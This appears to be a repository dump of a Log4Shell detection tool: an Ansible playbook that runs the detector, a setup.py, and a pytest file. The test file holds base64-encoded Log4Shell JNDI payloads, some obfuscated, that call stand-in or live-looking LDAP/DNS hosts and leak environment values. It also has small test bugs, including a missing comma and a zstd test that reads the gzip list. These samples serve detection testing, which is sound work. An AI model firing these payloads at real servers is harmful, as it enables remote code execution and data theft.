Python Version 9 | ansible.builtin.shell: 'python3 --version' 10 | register: python_version 11 | failed_when: "'Python' not in python_version.stdout" 12 | 13 | - name: Verify zstandard Python Library 14 | ansible.builtin.shell: 'python3 -c "import zstandard"' 15 | register: zstandard_status 16 | failed_when: zstandard_status.rc != 0 17 | 18 | tasks: 19 | - name: Check server for log4j IOC 20 | block: 21 | - name: Create temporary directory 22 | ansible.builtin.tempfile: 23 | state: directory 24 | register: tempdir 25 | 26 | - name: Copy script to server 27 | ansible.builtin.copy: 28 | src: "{{ item }}" 29 | dest: "{{ tempdir.path }}" 30 | mode: 0700 31 | loop: 32 | - log4shell-detector.py 33 | - Log4ShellDetector 34 | 35 | - name: Run the script 36 | ansible.builtin.shell: 37 | cmd: "{{ tempdir.path }}/log4shell-detector.py {{ log4shell_options }}" 38 | register: log4shell_result 39 | async: 0 40 | poll: 30 41 | failed_when: "'[!]' in log4shell_result.stdout" 42 | notify: 43 | - Detector Output 44 | 45 | always: 46 | - name: Cleanup 47 | ansible.builtin.file: 48 | path: "{{ tempdir.path }}" 49 | state: absent 50 | when: tempdir.path is defined 51 | 52 | handlers: 53 | - name: Detector Output 54 | debug: 55 | msg: "{{ log4shell_result }}" 56 | -------------------------------------------------------------------------------- /screenshots/screen1.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Neo23x0/log4shell-detector/9ad653adef25d9fd747b9e9847c813892881620c/screenshots/screen1.png -------------------------------------------------------------------------------- /screenshots/screen2.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Neo23x0/log4shell-detector/9ad653adef25d9fd747b9e9847c813892881620c/screenshots/screen2.png -------------------------------------------------------------------------------- /setup.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python 2 | from distutils.core import setup 3 | setup(name='Log4ShellDetector', 4 | version='0.1', 5 | py_modules=['Log4ShellDetector/Log4ShellDetector'], 6 | ) 7 | -------------------------------------------------------------------------------- /tests/test_detection.py: -------------------------------------------------------------------------------- 1 | import sys, os 2 | import importlib 3 | import base64 4 | import gzip 5 | _std_supported = False 6 | try: 7 | import zstandard 8 | _std_supported = True 9 | except ImportError: 10 | print("[!] No support for zstandared files without 'zstandard' libary") 11 | sys.path.append(os.path.join(os.path.dirname(os.path.realpath(__file__)), os.pardir)) 12 | from Log4ShellDetector import Log4ShellDetector 13 | 14 | TEST_FILE_NAME = "temp-test-file.log" 15 | 16 | TEST_STRINGS_POSITIVE = [ 17 | "aHR0cC1uaW8tODAtZXhlYy0xMyBXQVJOIEVycm9yIGxvb2tpbmcgdXAgSk5ESSByZXNvdXJjZSBbbGRhcDovLzE5Mi4xNjguMS4xNToxMzM3L2VdLiBqYXZheC5uYW1pbmcuTmFtaW5nRXhjZXB0aW9uIFtSb290IGV4Y2VwdGlvbiBpcyBqYXZhLmxhbmcuQ2xhc3NOb3RGb3VuZEV4Y2VwdGlvbjogb3JnLmFwYWNoZS5jb21tb25zLmJlYW51dGlscy5CZWFuQ29tcGFyYXRvcl07IHJlbWFpbmluZyBuYW1lICdlJwoJYXQgamF2YS5uYW1pbmcvY29tLnN1bi5qbmRpLmxkYXAuT2JqLmRlc2VyaWFsaXplT2JqZWN0KE9iai5qYXZhOjUzMSkKCWF0IGphdmEubmFtaW5nL2NvbS5zdW4uam5kaS5sZGFwLk9iai5kZWNvZGVPYmplY3QoT2JqLmphdmE6MjM3KQoJYXQgamF2YS5uYW1pbmcvY29tLnN1bi5qbmRpLmxkYXAuTGRhcEN0eC5jX2xvb2t1cChMZGFwQ3R4LmphdmE6MTA1MSkKCWF0IGphdmEubmFtaW5nL2NvbS5zdW4uam5kaS50b29sa2l0LmN0eC5Db21wb25lbnRDb250ZXh0LnBfbG9va3VwKENvbXBvbmVudENvbnRleHQuamF2YTo1NDIpCglhdCBqYXZhLm5hbWluZy9jb20uc3VuLmpuZGkudG9vbGtpdC5jdHguUGFydGlhbENvbXBvc2l0ZUNvbnRleHQubG9va3VwKFBhcnRpYWxDb21wb3NpdGVDb250ZXh0LmphdmE6MTc3KQoJYXQgamF2YS5uYW1pbmcvY29tLnN1bi5qbmRpLnRvb2xraXQudXJsLkdlbmVyaWNVUkxDb250ZXh0Lmxvb2t1cChHZW5lcmljVVJMQ29udGV4dC5qYXZhOjIwNykKCWF0IGphdmEubmFtaW5nL2NvbS5zdW4uam5kaS51cmwubGRhcC5sZGFwVVJMQ29udGV4dC5sb29rdXAobGRhcFVSTENvbnRleHQuamF2YTo5NCkKCWF0IGphdmEubmFtaW5nL2phdmF4Lm5hbWluZy5Jbml0aWFsQ29udGV4dC5sb29rdXAoSW5pdGlhbENvbnRleHQuamF2YTo0MDkpCglhdCBvcmcuYXBhY2hlLmxvZ2dpbmcubG9nNGouY29yZS5uZXQuSm5kaU1hbmFnZXIubG9va3VwKEpuZGlNYW5hZ2VyLmphdmE6MTI4KQoJYXQgb3JnLmFwYWNoZS5sb2dnaW5nLmxvZzRqLmNvcmUubG9va3VwLkpuZGlMb29rdXAubG9va3VwKEpuZGlMb29rdXAuamF2YTo1NSkKCWF0IG9yZy5hcGFjaGUubG9nZ2luZy5sb2c0ai5jb3JlLmxvb2t1cC5JbnRlcnBvbGF0b3IubG9va3VwKEludGVycG9sYXRvci5qYXZhOjE1OSkKCWF0IG9yZy5hcGFjaGUubG9nZ2luZy5sb2c0ai5jb3JlLmxvb2t1cC5TdHJTdWJzdGl0dXRvci5yZXNvbHZlVmFyaWFibGUoU3RyU3Vic3RpdHV0b3IuamF2YToxMDQ2KQoJLi4u", 18 | "MjAyMS0xMi0xMSBbTXlBcHBdIC0gQ29udGFpbnMgJHske2VudjpCQVJGT086LWp9bmRpJHtlbnY6QkFSRk9POi06fSR7ZW52OkJBUkZPTzotbH1kYXAke2VudjpCQVJGT086LTp9Ly9hdHRhY2tlci5jb20vYX0=", 19 | "MjAyMS0xMi0xMSBbTXlBcHBdIC0gQ29udGFpbnMgJHtqTmRJOmxkQXA6Ly90ajV1ZGcuZG5zbG9nLmNufQ==", 20 | "MjAyMS0xMi0xMSBbTXlBcHBdIC0gQ29udGFpbnMgJHtqbmRpOmxkYXA6Ly9zcGZjYmYke2xvd2VyOi59ZG5zbG9nJHtsb3dlcjoufWNufQ==", 21 | "MjAyMS0xMi0xMSBbTXlBcHBdIC0gQ29udGFpbnMgJHtqbmRpOmxkYXA6Ly90ajV1ZGcuZG5zbG9nLmNufQ==", 22 | "MjAyMS0xMi0xMSBbTXlBcHBdIC0gQ29udGFpbnMgJCU3QmpuZGk6bGRhcDovL3RqNXVkZy5kbnNsb2cuY24lN0Q=", 23 | "MjAyMS0xMi0xMSBbTXlBcHBdIC0gQ29udGFpbnMgJTI0JTI1N0JqbmRpJTNBbGRhcCUzQSUyRiUyRnRqNXVkZyUyRWRuc2xvZyUyRWNuJTI1N0Q=", 24 | "MjAyMS0xMi0xMSBbTXlBcHBdIC0gQ29udGFpbnMgJTI1MjQlMjUyNTdCam5kaSUyNTNBbGRhcCUyNTNBJTI1MkYlMjUyRnRqNXVkZyUyNTJFZG5zbG9nJTI1MkVjbiUyNTI1N0Q=", 25 | "JHtqbmRpOmxkYXA6Ly8xMjcuMC4wLjE6MTA5OS9vYmp9", 26 | "JHske3VwcGVyOmp9biR7bG93ZXI6ZH0ke2xvd2VyOml9Omwke2xvd2VyOmR9JHtsb3dlcjphfSR7bG93ZXI6cH0ke2xvd2VyOjp9JHtsb3dlcjovfSR7bG93ZXI6L30xJHtsb3dlcjoyfSR7bG93ZXI6N30uMCR7bG93ZXI6Ln0wJHtsb3dlcjoufSR7bG93ZXI6MX0ke2xvd2VyOjp9MTAke2xvd2VyOjl9OSR7bG93ZXI6L31vJHtsb3dlcjpifWp9Cg==", 27 | "JHske3VwcGVyOmp9JHtsb3dlcjpufSR7bG93ZXI6ZH0ke2xvd2VyOml9JHtsb3dlcjo6fSR7bG93ZXI6bH0ke2xvd2VyOmR9JHtsb3dlcjphfSR7bG93ZXI6cH0ke2xvd2VyOjp9JHtsb3dlcjovfSR7bG93ZXI6L30ke2xvd2VyOjF9JHtsb3dlcjoyfSR7bG93ZXI6N30ke2xvd2VyOi59JHtsb3dlcjowfSR7bG93ZXI6Ln0ke2xvd2VyOjB9JHtsb3dlcjoufSR7bG93ZXI6MX0ke2xvd2VyOjp9JHtsb3dlcjoxfSR7bG93ZXI6MH0ke2xvd2VyOjl9JHtsb3dlcjo5fSR7bG93ZXI6L30ke2xvd2VyOm99JHtsb3dlcjpifSR7bG93ZXI6an19Cg==", 28 | "JHtqbmRpOmxkJHtvekk6S2doOlFuOlRYTTotYX1wOiR7REJFYXU6WTpwTFhVdTpTZlJLazp2V3U6LS99JHt4OlVNQURxOi0vfTEyNyR7bHQ6dFdkOmlFVlc6cEQ6dEdDcjotLn0ke2pGcFNEVzp6OlNOOkF1cU06QzotMH0ke2R4eGlsYzpIVEZhOlFMZ2lpOnB2Oi0ufTAuJHthOmw6dXJucnRrOi0xfToxMDk5JHt6bFNFcVE6VDpxZzpvOi0vfW9iJHtFOnlKRHNicTotan19Cg==" 29 | "JHske2VoOndEVWRvczpqS1k6LWp9JHt4a3NWOlhnaTotbn0ke2hOZGI6U2JtWFU6Z29XZ3ZKOmlxQVY6VXg6LWR9JHtNWFdOOm9PaTpjOlV4WHpjSTotaX0ke0RZS2dzOnRIbFk6LTp9JHtkOkZIZE1tOmZ3Oi1sfSR7R3c6LWR9JHtMZWJHeGU6YzpTeExYYTotYX0ke2VjaHlXYzpCRTpOQk86czpnVmJUOi1wfSR7bDpRd0NMOmd6T1FtOmdxc0RTOi06fSR7cU16dExuOmU6RTpXUzotL30ke05VdTpTOmFmVk5iVDpreWpiaUU6LS99JHtQdEdVZkk6V2NZaDpjOi0xfSR7WW9TSjpLVVY6dXlTSzpjck5UbTotMn0ke0V3a1k6RXNYOlM6d2s6LTd9JHtIVVdPSjpNTUl4T246UzotLn0ke01IRjpzOi0wfSR7b2JySlZVOlJQdzpkOkE6LS59JHtFOlJnWTpqOi0wfSR7TWFPdGJNOi0ufSR7TzotMX0ke3p6ZnVHRDpZRXl2eTptaHA6VDotOn0ke3ZsYXc6V3VPQno6LTF9JHtIQWp4dDp6aUJnbWM6LTB9JHtVS1ZCcms6c05BS2U6RjpxWE5ldFE6bWRJdU9XOi05fSR7Z2VKczpzZ1lnUVc6b09kOnFPR2Y6YVlwQWtQOi05fSR7VW9uSU52Oi0vfSR7YVR5Z0hLOnBiUWlUQjpLa1hoS1M6LW99JHtGTVJBS006LWJ9JHt3aXU6dktJVnVoOi1qfX0K", 30 | "JHskezo6LWp9JHs6Oi1ufSR7OjotZH0kezo6LWl9OiR7OjotbH0kezo6LWR9JHs6Oi1hfSR7OjotcH06Ly8xMzUuMTQ4LjEzMC42MDoxMzg5L1RvbWNhdEJ5cGFzcy9Db21tYW5kL0Jhc2U2NC9YWFhYfQ==", 31 | "JHskezo6LWp9bmRpOmRuczovLzQ1LjgzLjY0LjEvc2VjdXJpdHlzY2FuLTIybW1wY3QzYXcyeXFrMmd9", 32 | "JHske2VudjpOYU46LWp9bmRpJHtlbnY6TmFOOi06fSR7ZW52Ok5hTjotbH1kYXAke2VudjpOYU46LTp9Ly8xMzUuMTQ4LjEzMi4yMjQ6MTM4OS9CYXNpYy9Db21tYW5kL0Jhc2U2NC8vWFhYWH0=", 33 | "JHske2xvd2VyOiR7bG93ZXI6am5kaX19OmxkJHtsb3dlcjphcH06Ly80NS4xNDYuMTY0LjE2MDoxMzg5Lzs7TVlfSE9ORVlQT1RfSVAtLTgwODA7OyR7ZW52OlVTRVJET01BSU59Ozske2VudjpDT01QVVRFUk5BTUV9Ozske2phdmE6b3N9Ozske3N5czpqYXZhLnZlcnNpb259Ozt9", 34 | "JHske2xvd2VyOmp9JHtsb3dlcjpufSR7bG93ZXI6ZH1pOmwke2xvd2VyOmR9JHtsb3dlcjphfXA6Ly80NS4xNDYuMTY0LjE2MDoxMzg5Lzs7TVlfSE9ORVlQT1RfSVAtLTgwODA7OyR7ZW52OlVTRVJET01BSU59Ozske2VudjpDT01QVVRFUk5BTUV9Ozske2phdmE6b3N9Ozske3N5czpqYXZhLnZlcnNpb259Ozt9", 35 | "JHske2xvd2VyOmp9bmRpOiR7bG93ZXI6bH0ke2xvd2VyOmR9YSR7bG93ZXI6cH06Ly8xMzUuMTQ4LjEzMC42MDoxMzg5L1RvbWNhdEJ5cGFzcy9Db21tYW5kL0Jhc2U2NC9YWFhYfQ==", 36 | "JHtqJHtrOHM6azU6LU5EfWkke3NkOms1Oi06fWxkYXA6Ly8xMzUuMTQ4LjEzMC42MDoxMzg5L0Jhc2ljL0NvbW1hbmQvQmFzZTY0Ly9YWFhYfQ==", 37 | "JHtqbmQkezEyMyUyNWZmOi0kezEyMyUyNWZmOi1pOn19bGRhcDovLzEzNS4xNDguMTMwLjYwOjEzODkvVG9tY2F0QnlwYXNzL0NvbW1hbmQvQmFzZTY0L1hYWFhYfQ==", 38 | "JHtqbmRpOiR7bG93ZXI6bH0ke2xvd2VyOmR9JHtsb3dlcjphfSR7bG93ZXI6cH06Ly8xOTUuNTQuMTYwLjE0OToxMjM0NC9CYXNpYy9Db21tYW5kL0Jhc2U2NC9YWFhYWD19", 39 | "JHtqbmRpOmxkYXA6Ly8xNzkuNDMuMTc1LjEwMToxMzg5L30=", 40 | # Base64 pattern 41 | "JHske2Jhc2U2NDpKSHRxYm1ScE9teGtZWEE2WVdSa2NuMD19fQ==", 42 | "JHtqbiR7YmFzZTY0OlpHaz19OmxkYXA6Ly99", 43 | # New patterns https://github.com/Neo23x0/log4shell-detector/issues/47 44 | "LyUzRng9JCU3QmpuZGk6bGRhcDovZ3VpZGVkaGFja2luZy5jb20uYzZ0c2lmcDJwaWo5MWUza2FmdDBjZzdoMXhheXl5eXluLmV4cGxvcmVsb2NhbHBhdGhzLmNvbS9hJTdE", 45 | "JHskezo6LWp9JHs6Oi1ufSR7OjotZH0kezo6LWl9OiR7OjotbH0kezo6LWR9JHs6Oi1hfSR7OjotcH06Ly97e0hvc3RuYW1lfX0uYzZ0c2lmcDJwaWo5MWUza2FmdDBjZzdoMXhheXl5eXluLmV4cGxvcmVsb2NhbHBhdGhzLmNvbX0=", 46 | ] 47 | 48 | TEST_STRINGS_POSITIVE_GZ = [ 49 | "H4sICMHltGEAA3Rlc3QtbG9nLWhlYXZ5LW9iZnVzYy5sb2cAMzIwMtQ1NNI1NFSI9q10LCiIVdBVcM7PK0nMzCtWUKlWqU7NK7Nycgxy8/e30s2qzUvJRBWyqkXl59SmJBagK9HXTywpSUzOTi3SS87P1U+sBQAxghl7dwAAAA==" 50 | ] 51 | 52 | TEST_STRINGS_POSITIVE_ZSTD = [ 53 | "KLUv/SR3xQIA1AQyMDIxLTEyLTExIFtNeUFwcF0gLSBDb250YWlucyAkeyR7ZW52OkJBUkZPTzotan1uZGk6fWx9ZGFwOn0vL2F0dGFja2VyLmNvbS9hfQMUBAumB49BATOSzGQ=" 54 | ] 55 | 56 | TEST_STRINGS_NEGATIVE = [ 57 | "MjAyMSAxMDowODozNSBBVVJPUkE6IFdhcm5pbmcgTU9EVUxFOiBBdXJvcmEtQWdlbnQgVE9LRU5FTEVWQVRJT05UWVBFOiAlJTE5MzggVkVSU0lPTjogMgo=", 58 | "MjAyMS0wMy0xMlQwMDoxMjoxMC44NjFaIFsnIyBpbnZzdmMgY2lzcmVnIHByb3BzXG4nLCAnc29sdXRpb25Vc2VyLm5hbWUgPSAke3NvbHV0aW9uLXVzZXIubmFtZX1cbicsICdzb2x1dGlvblVzZXIub3duZXJJZCA9ICR7c29sdXRpb24tdXNlci5uYW1lfUAke3ZtZGlyLmRvbWFpbi1uYW1lfVxuJywgJ2NtcmVnLnNlcnZpY2VpZCA9ICR7aW52c3ZjLnNlcnZpY2UtaWR9XG4nLCAnIyBpbnZzdmMgcmVnaXN0cmF0aW9uIHNwZWMgcHJvcGVydGllc1xuJywgJ3NlcnZpY2VWZXJzaW9uID0gMS4wXG4nLCAnb3duZXJJZCA9ICR7c29sdXRpb24tdXNlci5uYW1lfUAke3ZtZGlyLmRvbWFpbi1uYW1lfVxuJywgJ3NlcnZpY2VUeXBlLnByb2R1Y3QgPSBjb20udm13YXJlLmNpc1xuJywgJ3NlcnZpY2VUeXBlLnR5cGUgPSBjcy5pbnZlbnRvcnlcbicsICdzZXJ2aWNlTmFtZVJlc291cmNlS2V5ID0gY3MuaW52ZW50b3J5LlNlcnZpY2VOYW1lXG4nLCAnc2VydmljZURlc2NyaXB0aW9uUmVzb3VyY2VLZXkgPSBjcy5pbnZlbnRvcnkuU2VydmljZURlc2NyaXB0aW9uXG4nLCAnc2VydmljZUdyb3VwUmVzb3VyY2VLZXkgPSBjcy5pbnZlbnRvcnkuc2VydmljZWdyb3VwcmVzb3VyY2VcbicsICdzZXJ2aWNlR3JvdXBJbnRlcm5hbElkID0gY3NcbicsICdjb250cm9sU2NyaXB0UGF0aCA9ICR7Y29udHJvbHNjcmlwdC5wYXRofVxuJywgJ2hvc3RJZCA9ICR7c2NhLmhvc3RpZH1cbicsICdlbmRwb2ludDAudXJsID0gaHR0cHM6Ly8ke3N5c3RlbS51cmxob3N0bmFtZX06JHtyaHR0cHByb3h5LmV4dC5wb3J0Mn0vaW52c3ZjXG4nLCAnZW5kcG9pbnQwLnR5cGUucHJvdG9jb2wgPSBodHRwXG4nLCAnZW5kcG9pbnQwLnR5cGUuaWQgPSBjb20udm13YXJlLmNpcy5pbnZlbnRvcnlcbicsICdlbmRwb2ludDEudXJsID0gaHR0cHM6Ly8ke3N5c3RlbS51cmxob3N0bmFtZX06JHtyaHR0cHByb3h5LmV4dC5wb3J0Mn0vaW52c3ZjL3Ztb21pL3Nka1xuJywgJ2VuZHBvaW50MS50eXBlLnByb3RvY29sID0gdm1vbWlcbicsICdlbmRwb2ludDEudHlwZS5pZCA9IGNvbS52bXdhcmUuY2lzLmludmVudG9yeS5zZXJ2ZXJcbicsICdlbmRwb2ludDIudXJsID0gaHR0cHM6Ly8ke3N5c3RlbS51cmxob3N0bmFtZX06JHtyaHR0cHByb3h5LmV4dC5wb3J0Mn0vaW52c3ZjL3Ztb21pL3Nka1xuJywgJ2VuZHBvaW50Mi50eXBlLnByb3RvY29sID0gdm1vbWlcbicsICdlbmRwb2ludDIudHlwZS5pZCA9IGNvbS52bXdhcmUuY2lzLnRhZ2dpbmcuc2VydmVyXG4nLCAnZW5kcG9pbnQzLnVybCA9IGh0dHBzOi8vJHtzeXN0ZW0udXJsaG9zdG5hbWV9OiR7cmh0dHBwcm94eS5leHQucG9ydDJ9L2ludnN2Yy92YXBpXG4nLCAnZW5kcG9pbnQzLnR5cGUucHJvdG9jb2wgPSB2YXBpLmpzb24uaHR0cHNcbicsICdlbmRwb2ludDMudHlwZS5pZCA9IGNvbS52bXdhcmUuY2lzLmludmVudG9yeS52YXBpXG4nLCAnZW5kcG9pbnQzLmRhdGEwLmtleSA9IGNvbS52bXdhcmUudmFwaS5tZXRhZGF0YS5tZXRhbW9kZWwuZmlsZS5hdXRoelxuJywgJ2VuZHBvaW50My5kYXRhMC52YWx1ZSA9IC91c3IvbGliL3Ztd2FyZS12cHhkLXN2Y3MvdmFwaS1tZXRhZGF0YS9hdXRoei9hdXRoel9tZXRhbW9kZWwuanNvblxuJywgJ2VuZHBvaW50My5kYXRhMS5rZXkgPSBjb20udm13YXJlLnZhcGkubWV0YWRhdGEuYXV0aGVudGljYXRpb24uZmlsZS5hdXRoelxuJywgJ2VuZHBvaW50My5kYXRhMS52YWx1ZSA9IC91c3IvbGliL3Ztd2FyZS12cHhkLXN2Y3MvdmFwaS1tZXRhZGF0YS9hdXRoei9hdXRoel9hdXRoZW50aWNhdGlvbi5qc29uXG4nLCAnZW5kcG9pbnQzLmRhdGEyLmtleSA9IGNvbS52bXdhcmUudmFwaS5tZXRhZGF0YS5yb3V0aW5nLmZpbGUuYXV0aHpcbicsICdlbmRwb2ludDMuZGF0YTIudmFsdWUgPSAvdXNyL2xpYi92bXdhcmUtdnB4ZC1zdmNzL3ZhcGktbWV0YWRhdGEvYXV0aHovYXV0aHpfcm91dGluZy5qc29uXG4nLCAnZW5kcG9pbnQzLmRhdGEzLmtleSA9IGNvbS52bXdhcmUudmFwaS5tZXRhZGF0YS5tZXRhbW9kZWwuZmlsZS50YWdnaW5nXG4nLCAnZW5kcG9pbnQzLmRhdGEzLnZhbHVlID0gL3Vzci9saWIvdm13YXJlLXZweGQtc3Zjcy92YXBpLW1ldGFkYXRhL3RhZ2dpbmcvY29tLnZtd2FyZS5jaXMudGFnZ2luZ19tZXRhbW9kZWwuanNvblxuJywgJ2VuZHBvaW50My5kYXRhNC5rZXkgPSBjb20udm13YXJlLnZhcGkubWV0YWRhdGEuYXV0aGVudGljYXRpb24uZmlsZS50YWdnaW5nXG4nLCAnZW5kcG9pbnQzLmRhdGE0LnZhbHVlID0gL3Vzci9saWIvdm13YXJlLXZweGQtc3Zjcy92YXBpLW1ldGFkYXRhL3RhZ2dpbmcvY29tLnZtd2FyZS5jaXMudGFnZ2luZ19hdXRoZW50aWNhdGlvbi5qc29uXG4nLCAnZW5kcG9pbnQzLmRhdGE1LmtleSA9IGNvbS52bXdhcmUudmFwaS5tZXRhZGF0YS5jbGkuZmlsZS50YWdnaW5nXG4nLCAnZW5kcG9pbnQzLmRhdGE1LnZhbHVlID0gL3Vzci9saWIvdm13YXJlLXZweGQtc3Zjcy92YXBpLW1ldGFkYXRhL3RhZ2dpbmcvY29tLnZtd2FyZS5jaXMudGFnZ2luZ19jbGkuanNvblxuJywgJ2VuZHBvaW50NC51cmwgPSBodHRwczovLyR7c3lzdGVtLnVybGhvc3RuYW1lfToke3JodHRwcHJveHkuZXh0LnBvcnQyfVxuJywgJ2VuZHBvaW50NC50eXBlLnByb3RvY29sID0gZ1JQQ1xuJywgJ2VuZHBvaW50NC50eXBlLmlkID0gdGFnZ2luZ1xuJywgJ2VuZHBvaW50NC5kYXRhMC5rZXkgPSBjaXMuY29tbW9uLmVwLmxvY2FsdXJsXG4nLCAnZW5kcG9pbnQ0LmRhdGEwLnZhbHVlID0gaHR0cDovL2xvY2FsaG9zdDojI3tUQUdHSU5HX0dSUENfUE9SVH0jI1xuJywgJ2F0dHJpYnV0ZTAua2V5ID0gU3luY2FibGVcbicsICdhdHRyaWJ1dGUwLnZhbHVlID0gRUxNLFNQT0dcbicsICdhdHRyaWJ1dGUxLmtleSA9IFN1YnNjcmliYWJsZVxuJywgJ2F0dHJpYnV0ZTEudmFsdWUgPSB0cnVlXG4nLCAnaGVhbHRoLnVybCA9IGh0dHBzOi8vJHtzeXN0ZW0udXJsaG9zdG5hbWV9OiR7cmh0dHBwcm94eS5leHQucG9ydDJ9L2ludnN2Yy9pbnZzdmMtaGVhbHRoXG4nLCAncmVzb3VyY2VidW5kbGUudXJsID0gaHR0cHM6Ly8ke3N5c3RlbS51cmxob3N0bmFtZX06JHtyaHR0cHByb3h5LmV4dC5wb3J0Mn0vaW52c3ZjL2ludnN2Yy1yZXNvdXJjZVxuJywgJ3Jlc291cmNlYnVuZGxlLmRhdGEwLmtleSA9IGNvbS52bXdhcmUuY2lzLmNvbW1vbi5yZXNvdXJjZWJ1bmRsZS5iYXNlbmFtZVxuJywgJ3Jlc291cmNlYnVuZGxlLmRhdGEwLnZhbHVlID0gY3MuaW52ZW50b3J5LlJlc291cmNlQnVuZGxlXG4nLCAnIyByZXZlcnNlIHByb3h5IGNvbmZpZ3VyYXRpb25cbicsICdyaHR0cHByb3h5LmZpbGUgPSBpbnZzdmMtcHJveHkuY29uZlxuJywgJ3JodHRwcHJveHkuZW5kcG9pbnQwLm5hbWVzcGFjZSA9IC9pbnZzdmNcbicsICdyaHR0cHByb3h5LmVuZHBvaW50MC5jb25uZWN0aW9uVHlwZSA9IGxvY2FsXG4nLCAncmh0dHBwcm94eS5lbmRwb2ludDAuYWRkcmVzcyA9ICR7dnB4ZC1zdmNzLmludC5odHRwfVxuJywgJ3JodHRwcHJveHkuZW5kcG9pbnQwLmh0dHBBY2Nlc3NNb2RlID0gcmVkaXJlY3RcbicsICdyaHR0cHByb3h5LmVuZHBvaW50MC5odHRwc0FjY2Vzc01vZGUgPSBhbGxvd1xuJ10=", 59 | "RXh0ZW5kZWRfZGVzY3JpcHRpb24ta3UuVVRGLTg6IEPDrmhhemEga3UgaGF0aXllIGhpbGJpamFydGluIHBhcnTDrnNpeW9uw6puIGppIGJvIGPDrmhhesOqbiBSQWlEIGRpaHVuZGlyw65uZS4gRXcgY8OuaGF6IMO7IHBhcnTDrnNpeW9uIGTDqiB3ZXJpbiByYWtpcmluOlxuXG5Dw65oYXphIFNvZnR3YXJlIFJBSUQgbGkgYsOqciByYWtpcmluw6ogeWU6ICR7UkVNT1ZFRF9ERVZJQ0VTfVxuXG5QYXJ0aXRpb24gamkgaMOqbGEgdmFuIGPDrmhhesOqbiBSQUlEIHZlIGhhdCBiaWthcmFuw65uOiAke1JFTU9WRURfUEFSVElUSU9OU31cblxuTsOuxZ9lOiBIZXIgd2lzYSBldsOqIGhlciB0aW0gaGVtw7sgZGFuZXnDqm4gbGkgc2VyIGPDrmhhesOqbiBSQUlEIHnDqm4gbml2w65zYmFyw64gasOqIGJpYmUu", 60 | ] 61 | 62 | 63 | def test_positives_plain(): 64 | for string_positive in TEST_STRINGS_POSITIVE: 65 | # Decode test string and write it to a temporary file 66 | with open(TEST_FILE_NAME, "wb") as fp: 67 | file_content = base64.b64decode(string_positive) 68 | fp.write(file_content) 69 | fp.close() 70 | # Run the test 71 | l4sd = Log4ShellDetector.detector(maximum_distance=40, debug=False, quick=False, silent=False) 72 | detections = l4sd.scan_file(TEST_FILE_NAME) 73 | os.unlink(TEST_FILE_NAME) 74 | # Print some info on the failed test 75 | tested_string = file_content 76 | if isinstance(file_content, bytes): 77 | tested_string = file_content.decode('utf-8', 'ignore') 78 | if len(detections) < 1: 79 | print("[E] failed to detect payload in STRING: %s" % tested_string) 80 | assert len(detections) > 0 81 | 82 | 83 | def test_positives_gz(): 84 | for string_positive in TEST_STRINGS_POSITIVE_GZ: 85 | # Decode test string and write it to a temporary file 86 | with open(TEST_FILE_NAME, "wb") as fp: 87 | file_content = gzip.decompress(base64.b64decode(string_positive)) 88 | fp.write(file_content) 89 | fp.close() 90 | # Run the test 91 | l4sd = Log4ShellDetector.detector(maximum_distance=40, debug=False, quick=False, silent=False) 92 | detections = l4sd.scan_file(TEST_FILE_NAME) 93 | os.unlink(TEST_FILE_NAME) 94 | # Print some info on the failed test 95 | tested_string = file_content 96 | if isinstance(file_content, bytes): 97 | tested_string = file_content.decode('utf-8', 'ignore') 98 | if len(detections) < 1: 99 | print("[E] failed to detect payload in STRING: %s" % tested_string) 100 | assert len(detections) > 0 101 | 102 | 103 | def test_positives_zstd(): 104 | if not _std_supported: 105 | assert True 106 | return 107 | for string_positive in TEST_STRINGS_POSITIVE_GZ: 108 | # Decode test string and write it to a temporary file 109 | with open(TEST_FILE_NAME, "wb") as fp: 110 | file_content = gzip.decompress(base64.b64decode(string_positive)) 111 | fp.write(file_content) 112 | fp.close() 113 | # Run the test 114 | l4sd = Log4ShellDetector.detector(maximum_distance=40, debug=False, quick=False, silent=False) 115 | detections = l4sd.scan_file(TEST_FILE_NAME) 116 | os.unlink(TEST_FILE_NAME) 117 | # Print some info on the failed test 118 | tested_string = file_content 119 | if isinstance(file_content, bytes): 120 | tested_string = file_content.decode('utf-8', 'ignore') 121 | if len(detections) < 1: 122 | print("[E] failed to detect payload in STRING: %s" % tested_string) 123 | assert len(detections) > 0 124 | 125 | 126 | def test_negatives_plain(): 127 | for string_negative in TEST_STRINGS_NEGATIVE: 128 | # Decode test string and write it to a temporary file 129 | with open(TEST_FILE_NAME, "wb") as fp: 130 | file_content = base64.b64decode(string_negative) 131 | fp.write(file_content) 132 | fp.close() 133 | # Run the test 134 | l4sd = Log4ShellDetector.detector(maximum_distance=40, debug=False, quick=False, silent=False) 135 | detections = l4sd.scan_file(TEST_FILE_NAME) 136 | os.unlink(TEST_FILE_NAME) 137 | # Print some info on the failed test 138 | tested_string = file_content 139 | if isinstance(file_content, bytes): 140 | tested_string = file_content.decode('utf-8', 'ignore') 141 | if len(detections) > 1: 142 | print("[E] detected payload in legitimate STRING: %s" % tested_string) 143 | assert len(detections) < 1 144 | --------------------------------------------------------------------------------